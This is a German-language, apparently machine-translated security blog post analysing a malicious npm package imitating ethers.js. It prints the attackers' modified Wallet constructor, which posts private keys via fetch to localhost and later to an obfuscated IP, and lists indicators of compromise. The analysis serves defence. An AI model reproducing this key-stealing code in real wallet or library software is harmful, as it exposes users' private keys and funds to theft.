Letzte Woche hat unsere automatische Malware-Analyse-Pipeline ein verdächtiges Paket erkannt web3-wrapper-ethers
. Das Paket imitiert das beliebte Ether
Bibliothek und enthält verschleierten Code, um private Schlüssel zu stehlen. Unsere Untersuchung ergab, dass das Paket möglicherweise mit dem Bedrohungsakteur mit dem Namen Leere Dokkaebi
eine Gruppe, die dafür bekannt ist, Kryptowährungen von Entwicklern zu stehlen, die an der Entwicklung von Web3-, Blockchain- und Kryptowährungstechnologien beteiligt sind.
Das Paket
Das Paket wurde ursprünglich am 5. Juni um 12:45 Uhr GMT+0 veröffentlicht:

Es gibt einige verräterische Anzeichen dafür, dass dieses Paket auf Täuschung angelegt ist. Der Name des Pakets lautet web3-wrapper-ethers
aber das Repository-Feld zeigt auf den ethers.js
Projekt auf GitHub. Tatsächlich kopierten die Angreifer einfach das Repository und nahmen kleinere Änderungen vor. Innerhalb eines Tages veröffentlichten sie insgesamt 5 Versionen.
Der Autor
Das Paket wurde veröffentlicht von kaufman0913
mit der passenden E-Mail von kaufman0913@gmail[.]com
.

Die Wahl eines sehr niedrig aufgelösten Bildes von Rapunzel ist... interessant. Aber verstricken wir uns da erst einmal nicht hinein.
Was leistet das Paket?
Um herauszufinden, was das Paket zu tun versucht, haben wir eine Kopie der neuesten Version von ethers heruntergeladen und einen Vergleich mit ihr durchgeführt, um zu sehen, was die Angreifer getan haben.
Wir haben festgestellt, dass die Versionen 6.14.3
und 6.14.4
keine tatsächlichen Änderungen am Code vornahmen, sondern lediglich den Namen des Pakets änderten.
Die Dinge beginnen sich in der Version 6.14.5
wo wir sehen, dass sie eine neue Abhängigkeit in der paket.json
und fügte hinzu node-fetch
und die entsprechende @types/node-fetch
devDependency
. Wir werden bald sehen, warum.
Die wichtigste Datei, die der Entwickler geändert hat, ist die Datei src.ts/wallet/wallet.ts
was auch zu Änderungen bei lib.esm/wallet/wallet.js
und lib.commonjs/wallet/wallet.js
die die entsprechenden kompilierten Versionen der gleichen Datei sind.
Wir sehen in 6.14.5
dass sie den Konstruktor der Klasse geändert haben, indem sie alles unterhalb der super()
anrufen::
export class Wallet extends BaseWallet {
/** * Create a new wallet for the private %%key%%, optionally connected * to %%provider%%. */
constructor(key: string | SigningKey, provider?: null | Provider) {
if (typeof(key) === "string" && !key.startsWith("0x")) {
key = "0x" + key;
}
let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
super(signingKey, provider);
// Send private key to server (Node.js and browser)
const url = 'http://localhost:3000/save-key';
if (typeof window === "undefined") {
// Node.js environment: use dynamic import for node-fetch
import('node-fetch').then(module => {
const fetch = module.default;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
// Browser environment: use native fetch
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ privateKey: this.privateKey })
})
// .then(data => console.log('Server response:', data))
.catch(() => {});
}
}
...
Hier sehen wir ein verräterisches Zeichen dafür, dass sie versuchen, private Schlüssel zu exfiltrieren. Aus ihren Kommentaren geht eindeutig hervor, dass sie den privaten Schlüssel an einen Server senden. Aber er verweist auf eine localhost-Adresse. Sie tun dies also in Echtzeit, was sehr gut ist. Es gibt uns einen Einblick in ihren Entwicklungsprozess.
Unter 6.14.6
wird der Code geändert. Er sieht jetzt wie folgt aus:
// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
import('node-fetch').then(module => {
const fetch = module.default;
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}).catch(() => {});
} else {
fetch(tar, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ pk: this.privateKey })
})
.catch(() => {});
}
Was verbirgt sich also hinter der verschlüsselten Variable enc? Hier ist es!
http:/74.119.194[.]244/fetch
Sehen Sie etwas Seltsames? Es handelt sich um eine ungültige HTTP-URL. Es fehlt ein /
im Protokoll. Huch!
Die letzte Veröffentlichung, 6.14.7
führt keine wesentlichen Änderungen ein. Es werden lediglich der Kommentar im Code und die console.log entfernt. Die Angreifer dachten wohl, dass sie damit fertig sind und das Eingeständnis, dass es sich um einen bösartigen Code handelt, und die Debug-Protokollierung entfernen können. Das Problem, dass die URL immer noch ungültig ist, haben sie jedoch nicht gelöst.
Sind die Nordkoreaner wieder am Werk?
Das ist erst ein paar Monate her, entdeckten wir nordkoreanische Hacker, die versuchten, Kryptowährungs-Geldbörsen zu stehlen. Sie haben auch Versionen in Echtzeit veröffentlicht, um ihren fehlerhaften Code zu debuggen. Es ist schon seltsam, dass das wieder passiert, nicht wahr? Wenigstens haben sie dieses Mal als erstes Node-Fetch eingebaut, anstatt mit dem Kopf gegen die Wand zu schlagen und herauszufinden, warum ihr axios
Die Anrufe haben nicht funktioniert.
In diesem Fall haben wir eine weitere Information, nämlich die IP. Ein kurzer Blick auf VirusTotal nach der IP bestätigt unseren Verdacht:

Der Kommentar bezieht sich auf:
https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
Und wir sehen tatsächlich, dass die IOC-Liste von TrendMicro diese IP als Egress-Knoten erwähnt: Auf die DVRK ausgerichtete Aktivitäten, über RDP von RU-IP-Adressen
. Und ihre ausführliche Berichterstattung deckt sich sehr gut mit dem, was wir in diesem Paket sehen: Sie haben es auf Entwickler abgesehen, die mit Web3/Krypto zu tun haben, und versuchen, Währungen zu stehlen.
Indikatoren für Kompromisse
Glücklicherweise gibt es keine Anzeichen dafür, dass dieses Paket jemals Schaden angerichtet hätte, wenn es heruntergeladen und/oder ausgeführt worden wäre, da der Code nicht voll funktionsfähig war. Wenn Sie das Paket jedoch installiert haben, überprüfen Sie den Datenverkehr zu der unten angegebenen IP-Adresse, um sicherzustellen, dass kein Schaden entstanden ist. Wenn Sie Datenverkehr zu dieser IP-Adresse feststellen, gehen Sie davon aus, dass Ihre Kryptoschlüssel kompromittiert worden sind.
Paket:
web3-wrapper-ethers
IP:
74.119.194[.]244
Mehr über die Forschung von Aikido Security erfahren Sie hier.